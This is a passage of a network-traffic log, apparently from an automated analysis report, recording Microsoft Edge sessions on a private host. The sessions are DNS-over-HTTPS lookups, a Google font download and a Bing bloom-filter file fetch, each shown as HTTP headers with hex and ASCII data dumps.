2024-07-26 06:57:56 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 26 Jul 2024 06:57:56 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8a927f96efb84235-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 06:57:56 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1b 00 04 8e fa 51 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomQ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49766	172.64.41.3	443	8868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:56 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-07-26 06:57:56 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-07-26 06:57:56 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 26 Jul 2024 06:57:56 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8a927f970cb84258-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 06:57:56 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 46 00 04 8e fa 51 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomFQ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49765	172.64.41.3	443	8868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:56 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-07-26 06:57:56 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-07-26 06:57:56 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 26 Jul 2024 06:57:56 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8a927f9719377ca8-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 06:57:56 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 23 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49777	142.250.80.3	443	8868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:57 UTC	924	OUT	GET /s/googlesans/v58/4UaRrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iq2vgCI.woff2 HTTP/1.1 Host: fonts.gstatic.com Connection: keep-alive sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117" Origin: https://accounts.google.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 06:57:58 UTC	836	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="apps-themes" Report-To: {"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]} Timing-Allow-Origin: * Content-Length: 52280 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 24 Jul 2024 07:55:37 GMT Expires: Thu, 24 Jul 2025 07:55:37 GMT Cache-Control: public, max-age=31536000 Age: 169340 Last-Modified: Tue, 23 May 2023 16:36:38 GMT Content-Type: font/woff2 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-26 06:57:58 UTC	554	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 cc 38 00 15 00 00 00 02 16 18 00 00 cb be 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 89 5e 1b 81 fe 24 1c a4 34 3f 48 56 41 52 8e 17 3f 4d 56 41 52 39 06 60 3f 53 54 41 54 81 2a 27 2c 00 85 4a 2f 81 00 11 08 0a 81 e6 60 81 b6 28 0b 87 5a 00 30 83 b7 52 01 36 02 24 03 8f 2e 04 20 05 86 12 07 a8 4b 0c 07 5b 93 f8 71 86 96 63 07 92 54 ee cb ae e1 dd c5 98 3e cb 50 de 6a d8 a6 60 b3 77 bd d9 99 23 fb d3 d5 8d 25 cc b3 be 83 db 81 f6 e2 4e bc 22 fb ff ff ff 17 24 15 19 33 cd 30 ed 36 18 0c 04 af ea d5 ff 87 98 20 b8 4c 04 72 58 2f 72 5b 6a ce 79 9c 7c 2a 28 08 34 cc 81 25 23 f7 8c 92 b1 96 32 ae 76 b3 6d c6 14 2d 90 1d 25 bb 89 cd 9c 15 e8 3b 2d 1d 59 d6 7b 1b e1 26 f6 b9 4f 3d 23 6c 40 09 c7 e5 6b Data Ascii: wOF28^$4?HVAR?MVAR9`?STAT',J/`(Z0R6$. K[qcT>Pj`w#%N"$306 LrX/r[jy\|(4%#2vm-%;-Y{&O=#l@k
2024-07-26 06:57:58 UTC	1390	IN	Data Raw: 9e 74 f3 9f 10 dc 18 11 48 20 64 8d cb 65 5f d6 be 4b 2e f3 b2 2f 09 2b 38 00 51 11 50 c4 85 5a 51 0b ae b6 d6 b9 3b 9d 1d ce 55 fd ca af 9d ae 5d bb a7 f8 f7 ba ea bf 0e 5f 14 65 2a b3 b2 a0 f9 03 b2 37 31 e1 8f 3f 8e 37 11 4f 52 76 bf 3f cb d6 ae eb 6c ac b5 d6 47 7c d8 50 94 92 ee 7c 3a fd 9a 19 49 16 58 06 c9 32 b0 2c 93 4c 89 ed 00 c3 ee e6 ff 05 64 e7 67 ef 5d 7d 57 23 75 57 5d 51 6e 75 50 2d 73 e0 3b b1 2d 59 9a e1 9f ef ef e5 5d fb dc df 12 b0 d2 00 43 16 90 6a 5f f8 4d 30 84 11 8a 79 1f cf 1c 0b a7 e5 ec 4a f2 f9 d2 0b ea f4 01 09 c6 b1 e4 94 4e 59 00 0e 40 41 ff fd 9a 2c ed ce d4 9c de 2d 8c 46 95 c0 b5 03 e2 c0 27 fd d0 77 9f 2f 6a 35 67 a6 76 55 53 eb 16 d8 55 dd d6 a1 30 84 26 82 9d 19 79 37 b1 4c 50 f9 1d 91 aa ee 25 7f 89 8e 8c d2 59 0e a1 Data Ascii: tH de_K./+8QPZQ;U]_e*71?7ORv?lG\|P\|:IX2,Ldg]}W#uW]QnuP-s;-Y]Cj_M0yJNY@A,-F'w/j5gvUSU0&y7LP%Y
2024-07-26 06:57:58 UTC	1390	IN	Data Raw: 65 70 0b 00 48 00 80 17 af 3d 8f bc f6 ef 15 6d 69 2f 46 5b e3 dc b8 c0 42 a2 10 af f1 05 07 17 e3 19 43 ce f4 ed dc b8 eb cd f5 a3 d1 e6 bd a3 19 7b e7 d5 df be ff e3 2f ff eb 5b ff 00 8a 19 c1 ff ad 5f ad 8b a0 8b 98 24 cb ee b0 b9 0b ef 63 fd a7 fd 8f bf 02 7f 31 00 94 00 00 05 7d f1 d2 d5 4f 37 ac 5f ae 39 bf 6a 98 bf 6e b8 bf 5e 33 fe bc 61 fc 65 43 ff eb 1b ec ff dd ad 37 8f ac bf bf 14 be 75 e4 be fb f2 f0 bd a3 f1 eb ca bd 6e dc eb 87 e1 f5 4f fc a7 8c 7f f3 d0 bd 79 3c 79 73 a5 bf b9 32 de fc ad 7a e6 e1 eb 1f 94 cf ed 67 cf 43 93 9b 6f 1b b7 57 87 c5 8f d8 8b c1 e6 a5 bf 7f f7 1d f7 fe d7 f3 d7 6c 69 6b 39 6d e4 74 af b4 67 d6 e9 ea 10 36 3c 3f 35 e6 2b 73 fe f5 68 fe 43 7d 33 c6 6e d6 1a db f1 78 a7 68 cb 33 b2 53 ce 76 b1 fe f2 86 b1 bc e1 2e Data Ascii: epH=mi/F[BC{/[_$c1}O7_9jn^3aeC7unOy<ys2zgCoWlik9mtg6<?5+shC}3nxh3Sv.
2024-07-26 06:57:58 UTC	1390	IN	Data Raw: 44 50 4e a5 a6 31 f2 fc 72 f4 49 cd 52 b4 4c fb 49 47 76 ce 13 5e ae 7d 2a 5e 38 93 21 c1 46 bc b0 49 aa 45 f6 f7 7b 10 fc 2a 87 6b b3 27 cb 51 28 7a f9 41 7f 8a 56 24 3a 34 2b 5b 14 f8 75 a5 b3 db 6d 5e 8e 34 6d 33 ca c3 61 8c 05 b5 50 36 de 7c 59 e5 fa fb 51 53 c3 ce 79 ab 5e 02 19 f5 55 c0 0d bc 4f e4 c6 93 40 2b 9d 97 a7 6a 33 45 3a d4 24 c0 cc 0c c0 5d f7 a3 fb f1 c5 fc b1 58 87 bf cc 43 e5 9a 0b 3a d0 28 1f 86 c8 ed 5c 0b e7 d8 cb 34 c3 91 1e 7e 48 ea fd 80 5a b3 96 52 aa 92 c6 84 0a f0 21 af 01 6b c1 d1 f0 1c 2d 3f 38 2d 4b b8 f9 ef 72 f4 0c 9d 53 4d b2 e6 6c d3 97 00 ab 75 9b fb a3 c6 a4 b5 de 60 68 b6 ff c8 a7 1f 7f 9c 91 cf 6f 74 18 ee fd 77 b8 28 b1 55 94 6a 67 a6 00 7c c3 57 a4 10 e0 e6 4d bf 20 25 3e f6 f3 5e db 9c 48 e6 06 69 3a 5b 6e da dc Data Ascii: DPN1rIRLIGv^}^8!FIE{k'Q(zAV$:4+[um^4m3aP6\|YQSy^UO@+j3E:$]XC:(\4~HZR!k-?8-KrSMlu`hotw(Ujg\|WM %>^Hi:[n
2024-07-26 06:57:58 UTC	1390	IN	Data Raw: 85 c2 d9 4d af 71 b8 1e 37 e0 46 7d 96 5b 3e 8f 3a b3 83 38 c7 c5 39 61 da 7e 3a 5c 05 7d c3 d3 37 8d be 65 72 41 dd 05 dd 6d b0 47 f7 12 f6 e9 7e e0 d8 95 c7 2b d0 93 01 ce 96 45 bd ae 4b ab ad 5b 4a 0c d6 7b a7 e7 02 3d 0f 7c 8d 8b 7a 3d 81 5b b8 fd f9 4f b9 3c 79 bf c3 7c ad 02 de a0 46 3a e9 66 b2 36 55 c6 56 21 08 2d d8 45 45 95 75 7c c4 37 05 41 38 70 73 43 7a 68 a3 85 02 a1 c2 35 82 cc b0 b4 1d 1d 67 3f 56 1d 59 c3 72 36 e2 f9 e2 7e 0e f1 c0 52 8e a0 ca c2 2e e5 c8 4e b6 20 53 70 41 56 3c 3c 42 86 51 05 8b 87 04 c9 2e 75 1a d3 bc 10 52 a8 40 09 06 6c 40 89 50 dd ef f0 c0 24 21 72 5e 11 7b 1a 65 15 d2 47 d9 fa 64 88 48 1a 4c e7 d8 d8 d1 b4 7a 07 b6 ae 2e 85 86 5b bf 04 23 15 8d 08 a6 03 ac 71 af ce 1e 35 99 a7 b4 90 d0 a0 8d 4e 1f 0c 73 95 64 42 fb Data Ascii: Mq7F}[>:89a~:\}7erAmG~+EK[J{=\|z=[O<y\|F:f6UV!-EEu\|7A8psCzh5g?VYr6~R.N SpAV<<BQ.uR@l@P$!r^{eGdHLz.[#q5NsdB
2024-07-26 06:57:58 UTC	1390	IN	Data Raw: cb 8d ea 4d b7 6a d0 77 f5 a9 ab 67 ba 5d ff 83 3b b0 75 0d 9e 08 0e d1 96 06 1e 8a 5e a4 2c 60 44 8b b8 ed 98 d3 14 07 a0 38 61 4f 16 1d 38 5b 84 cb 0d 47 ee 38 f1 88 32 9e bc e8 f2 8e ce 7c 2d c3 12 74 47 0b b6 1c b2 c2 2a 48 84 81 ad c6 5d 24 b4 28 3c 44 c3 13 f3 bf a7 58 f1 b4 25 50 90 4a 94 84 96 2c 15 4f 9a 1c 48 ae 61 26 0f 5a 3e c8 1a fc a9 58 a2 00 5a 61 0b 15 bd b4 86 52 58 6a 3d 81 ca e2 32 1b 6c a4 a3 e2 97 20 db ec 85 35 68 24 b4 cf 7e a6 1d cc e0 d1 7d e6 f8 5e 37 66 80 93 d3 c7 61 3e 16 f7 42 2f 3b 6c 3f c3 f6 4b b2 b1 69 1e af 59 8e 7a f3 8d 0a 81 37 f0 8d 21 f0 07 62 6f 91 78 87 d8 78 94 f8 d3 7b 16 fe c2 d8 04 26 3e 60 6c 32 4d c6 61 2c 2c b3 e8 30 f9 0c 45 89 62 c5 14 30 1a db 82 d7 0c 4e e2 53 89 d9 51 c9 19 93 32 4f aa 8b 9d 74 b1 93 Data Ascii: Mjwg];u^,`D8aO8[G82\|-tG*H]$(<DX%PJ,OHa&Z>XZaRXj=2l 5h$~}^7fa>B/;l?KiYz7!boxx{&>`l2Ma,,0Eb0NSQ2Ot
2024-07-26 06:57:58 UTC	1390	IN	Data Raw: 2c f3 a1 19 84 d7 af d8 df 5c 35 5a b0 ef 4d db 1e e6 80 7c 51 aa f9 b8 66 4c ed 5e 8d c9 9e eb 9c 93 6a 57 4e 5b 78 f6 ca 2b 9e ae 7b 22 d7 0c d0 e9 8a 3b 39 65 98 0e 87 00 bb c5 7d 93 91 37 52 ab e7 69 56 b1 2e b1 9f 65 55 9b e3 95 e3 c5 cd da ab c5 72 ca aa 2d 53 6a 61 7c b0 98 12 5a 98 a4 ca 37 ef 66 e6 b2 0a 55 02 f3 f5 2d 54 aa 7e 39 cf c5 c3 b7 4c 0f 33 85 15 5f aa 19 8d 84 a1 0b 45 58 45 62 10 90 0b c0 6d 8a a0 07 6a 9c 6b 1f 47 8d b1 b5 30 95 5b 75 ad 11 8c d8 22 9c 8b ba 04 19 3c 4c 3e b4 5e 56 93 40 cb a1 0a 80 05 79 e7 76 b6 43 bb c9 cc 1f e1 41 35 ec 54 bb 81 06 ce b3 37 98 0a 0c 0a 34 c2 da 8a d7 00 54 58 b1 89 1c 6d c2 f0 12 a8 70 4d e1 85 86 dd 64 97 03 76 d8 49 38 d6 b5 52 f8 cb ee dd 72 96 ee e9 10 40 4a 21 3c 5e cc 02 a3 b2 d0 92 0f 6f Data Ascii: ,\5ZM\|QfL^jWN[x+{";9e}7RiV.eUr-Sja\|Z7fU-T~9L3_EXEbmjkG0[u"<L>^V@yvCA5T74TXmpMdvI8Rr@J!<^o
2024-07-26 06:57:58 UTC	1390	IN	Data Raw: 5c 67 d3 86 5a 06 0c da 8f e0 9a f4 a8 f8 33 d3 ed c1 7d 5d 18 9d a5 f1 c4 1b 3c be f8 51 40 72 a3 40 1f 60 09 14 ea 1f ce 59 10 cc 65 6d 68 68 06 dd 2c 9a 56 8b 6f 25 4d d4 6c 33 c6 57 f5 36 2f a8 7a 6d 6c 8e 48 aa 04 2e a8 b4 b3 6f 29 26 29 7a 95 57 2c 9c d1 ba 73 18 f4 63 37 dd 1a 69 c7 9b b8 46 eb 6d 23 d6 48 55 b5 96 14 4f 3c e5 54 0b 54 e3 52 5c dc 43 b6 34 e7 50 05 5c 63 4d 82 72 aa fc 90 4f 6a b8 0a ca cd c2 a1 46 97 dd 14 50 c1 77 12 d2 54 c7 45 cb 62 bc ec 9e 4e ac 3a 05 4d 39 f3 f2 fb 4e a1 ab 16 79 03 b6 62 fc fa 6a ec ca 27 85 ce bc f2 c7 95 98 0a 83 0e 3e f3 aa 9f 10 84 53 f6 68 f2 f6 cc ab 7f b4 05 6e a1 42 4a e8 9a 03 97 1e d4 74 63 16 4d 98 9e fc 90 07 79 98 de 3c ca e3 3c 49 5f 9e e6 59 7e 4c 7f 7e ca f3 bc c8 40 5e c2 6c 09 33 98 9f a3 Data Ascii: \gZ3}]<Q@r@`Yemhh,Vo%Ml3W6/zmlH.o)&)zW,sc7iFm#HUO<TTR\C4P\cMrOjFPwTEbN:M9Nybj'>ShnBJtcMy<<I_Y~L~@^l3
2024-07-26 06:57:58 UTC	1390	IN	Data Raw: 51 ef 35 83 5e 1f ff 57 33 7e ab 99 ec 95 62 d4 2f 6f 94 f5 13 65 bd f7 47 bb 40 6c ee 73 6d 7f d1 3b 4b f6 a1 de fa ea ec ff 9f 5f 68 87 cd 4d 38 fa c3 4b 81 76 b9 39 5c 33 dd 27 cb c3 f5 36 3d c6 37 6a ae 3f 9e bd 54 3f f2 dc 34 37 9f f6 d6 ef 55 7b 6d f6 5c 3b d6 9f 9e 3d d0 ce 9f 69 b7 9e 69 df fd 4f 18 c5 e5 c5 93 dc 6a 9f 0f fa 9f 48 9e ea e9 73 7d 75 a3 7f f2 37 59 dc ff dc 95 f1 f9 d9 ae 77 7d 53 4d 5e 57 57 6f 7d 93 f3 73 36 f9 5a fc 62 58 be 1e 59 fc f3 b7 7a eb 3f 0a f7 7b 54 fb 9e ec 7d 6f fd 60 ea cf df 7b 61 49 fd a0 ea f0 0b b7 e3 cf e6 78 16 75 a6 20 70 75 56 f8 d1 93 09 a4 a0 f6 e8 d1 54 a9 c1 dd cb bf 8d 52 ff 01 02 a3 80 82 c6 df 31 c4 b6 ff 01 dc 01 98 42 08 e6 e7 1d 5c 70 c9 bf 7f 55 7e e9 a0 65 af 1d ad b5 58 7f 2f 44 64 aa 65 45 cb Data Ascii: Q5^W3~b/oeG@lsm;K_hM8Kv9\3'6=7j?T?47U{m\;=iiOjHs}u7Yw}SM^WWo}s6ZbXYz?{T}o`{aIxu puVTR1B\pU~eX/DdeE
2024-07-26 06:57:58 UTC	1390	IN	Data Raw: a0 0a 5e 74 58 97 3a a2 67 6c 28 cd 0d 01 d0 02 cf a3 9c a9 f1 5e 52 19 aa 6f 87 43 d2 a0 d1 82 71 e9 82 d6 40 9a 26 37 6e 2e 6d f9 08 d5 77 ac 91 ea 9a a1 30 5d ee 34 74 02 7f 4c ba a7 fd 1e cb 9a 6a e0 c6 c5 4c ba 44 69 60 7b 9b 42 38 9b e6 ed 6a 28 3c 0d 43 2c 64 b2 9a 08 9d 63 a1 bc 2e 6f d2 cc 50 f2 ec 0e dc 07 0a 75 91 7a 2b ef 2d 34 ae 78 67 a2 ea 54 a7 2a 73 42 0c d0 cb e0 50 bd 81 9e eb 59 79 5a 77 5e 2f c3 6f 38 b0 0c 36 6e 2b 73 83 b8 b4 d3 43 10 25 42 29 6c 7b e4 93 fd 37 7a 7c 4d ed 5e 5e 60 df d2 da ac dc 6a 43 90 6b 92 db 4c 73 7c f9 65 cb ba 65 35 23 69 56 57 3f 1f 49 98 88 8c 84 62 f6 4f bf 6e c9 42 ce 08 49 22 92 b4 68 59 ca 42 98 f1 52 9a 72 b3 db 59 fb 97 4a 5a f7 de 2d 56 fc c1 12 38 43 f0 1d 99 cb 52 08 34 b6 89 b6 20 2f 75 8d f9 a3 Data Ascii: ^tX:gl(^RoCq@&7n.mw0]4tLjLDi`{B8j(<C,dc.oPuz+-4xgT*sBPYyZw^/o86n+sC%B)l{7z\|M^^`jCkLs\|ee5#iVW?IbOnBI"hYBRrYJZ-V8CR4 /u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49774	13.107.21.237	443	8868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:57:57 UTC	435	OUT	GET /bloomfilterfiles/ExpandedDomainsFilterGlobal.json HTTP/1.1 Host: www.bing.com Connection: keep-alive Cookie: ANON=; MUID=;_RwBf=; Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 06:57:58 UTC	644	IN	HTTP/1.1 200 OK Content-Length: 854335 Content-Type: application/json Last-Modified: Fri, 26 Jul 2024 01:28:28 GMT ETag: 0x8DCAD12406DA2D5 X-Cache: TCP_MISS x-ms-request-id: ebf98e57-001e-002c-2c29-dff0cf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 52F5F5F4B25A4E45A9EFC56A996F66A4 Ref B: EWR30EDGE0322 Ref C: 2024-07-26T06:57:58Z Date: Fri, 26 Jul 2024 06:57:58 GMT Connection: close
2024-07-26 06:57:58 UTC	15740	IN	Data Raw: 7b 22 6e 75 6d 62 65 72 4f 66 48 61 73 68 46 75 6e 63 74 69 6f 6e 73 22 3a 38 2c 22 73 68 69 66 74 42 61 73 65 22 3a 37 2c 22 62 6c 6f 6f 6d 46 69 6c 74 65 72 41 72 72 61 79 53 69 7a 65 22 3a 35 30 37 35 38 34 39 2c 22 70 72 69 6d 65 42 61 73 65 73 22 3a 5b 35 33 38 31 2c 35 33 38 31 2c 35 33 38 31 2c 35 33 38 31 5d 2c 22 73 75 70 70 6f 72 74 65 64 44 6f 6d 61 69 6e 73 22 3a 22 78 6d 64 51 44 43 2b 76 37 72 4c 30 53 71 62 59 52 54 4c 69 44 55 32 68 6d 42 4e 75 6c 34 43 70 67 73 6c 72 34 43 48 65 69 41 51 45 6d 7a 71 62 50 77 2f 4e 59 75 43 48 59 43 6a 70 7a 32 79 61 7a 35 30 71 67 4e 55 41 46 47 68 62 59 49 67 30 51 77 37 57 71 53 64 4e 32 46 46 73 62 53 6f 64 74 4b 62 32 78 52 4b 45 53 4d 72 2b 31 72 68 32 53 76 39 37 59 4e 55 2f 41 73 4c 45 54 61 73 55 Data Ascii: {"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":5075849,"primeBases":[5381,5381,5381,5381],"supportedDomains":"xmdQDC+v7rL0SqbYRTLiDU2hmBNul4Cpgslr4CHeiAQEmzqbPw/NYuCHYCjpz2yaz50qgNUAFGhbYIg0Qw7WqSdN2FFsbSodtKb2xRKESMr+1rh2Sv97YNU/AsLETasU
2024-07-26 06:57:58 UTC	16384	IN	Data Raw: 69 2b 6a 46 47 6e 47 54 72 72 42 6f 6c 48 41 34 6e 72 51 68 72 6f 57 55 48 6d 56 32 6e 33 4f 67 49 4c 75 71 39 71 32 35 31 68 34 4c 51 4b 59 4d 65 63 6e 7a 4a 66 43 57 4d 47 63 44 45 68 53 43 64 43 5a 71 63 4b 63 4d 46 46 32 68 75 37 4e 63 75 6b 68 4e 78 61 31 4d 31 6c 75 43 67 79 50 7a 30 74 71 30 4a 51 35 52 75 5a 2b 45 58 62 58 7a 63 4a 31 74 70 38 35 2b 65 50 74 2f 35 31 55 62 48 69 48 79 42 6e 59 78 62 69 47 52 41 66 35 34 70 56 36 37 65 4e 39 48 55 59 53 48 48 41 73 51 5a 4b 63 37 73 77 52 62 63 39 41 46 58 37 64 73 63 6b 59 4a 43 4a 51 62 35 71 4a 69 67 74 45 58 72 63 67 38 62 32 75 72 5a 39 66 35 4d 2b 51 32 68 63 53 42 4a 54 68 41 45 6b 36 72 39 2b 4e 71 46 45 56 52 4d 59 61 6e 65 64 6f 77 78 68 73 66 5a 45 55 39 69 4c 46 42 51 67 64 4a 4d 6d 45 Data Ascii: i+jFGnGTrrBolHA4nrQhroWUHmV2n3OgILuq9q251h4LQKYMecnzJfCWMGcDEhSCdCZqcKcMFF2hu7NcukhNxa1M1luCgyPz0tq0JQ5RuZ+EXbXzcJ1tp85+ePt/51UbHiHyBnYxbiGRAf54pV67eN9HUYSHHAsQZKc7swRbc9AFX7dsckYJCJQb5qJigtEXrcg8b2urZ9f5M+Q2hcSBJThAEk6r9+NqFEVRMYanedowxhsfZEU9iLFBQgdJMmE
2024-07-26 06:57:58 UTC	16384	IN	Data Raw: 47 78 6e 53 63 56 51 6d 45 61 42 61 65 4b 2b 6b 55 67 53 4d 4d 79 34 7a 32 75 50 70 38 6e 52 65 6d 73 51 45 69 75 64 56 78 38 53 47 49 4b 53 57 44 72 6e 6e 71 6e 57 48 66 4b 51 43 63 43 7a 78 55 6d 4e 7a 74 43 34 69 4c 43 6c 32 74 77 55 50 50 37 36 7a 4a 2f 4b 75 77 4b 4f 67 30 39 33 4c 58 47 75 41 41 73 56 42 67 44 32 54 53 49 61 35 76 32 50 4e 49 2b 39 2b 4e 35 44 47 6e 65 32 31 52 63 77 43 71 55 55 6d 4d 5a 51 33 4e 35 34 69 54 42 58 78 39 39 33 4a 6e 55 47 74 55 30 51 77 49 30 69 70 4b 52 5a 67 74 54 39 54 48 33 35 78 35 73 50 47 6e 61 6e 43 33 36 32 62 45 66 62 6b 51 37 72 2b 4f 6c 42 43 74 48 35 66 37 53 54 62 59 71 6d 73 30 4e 35 45 39 5a 74 6c 33 7a 75 5a 79 75 74 68 72 32 61 73 6f 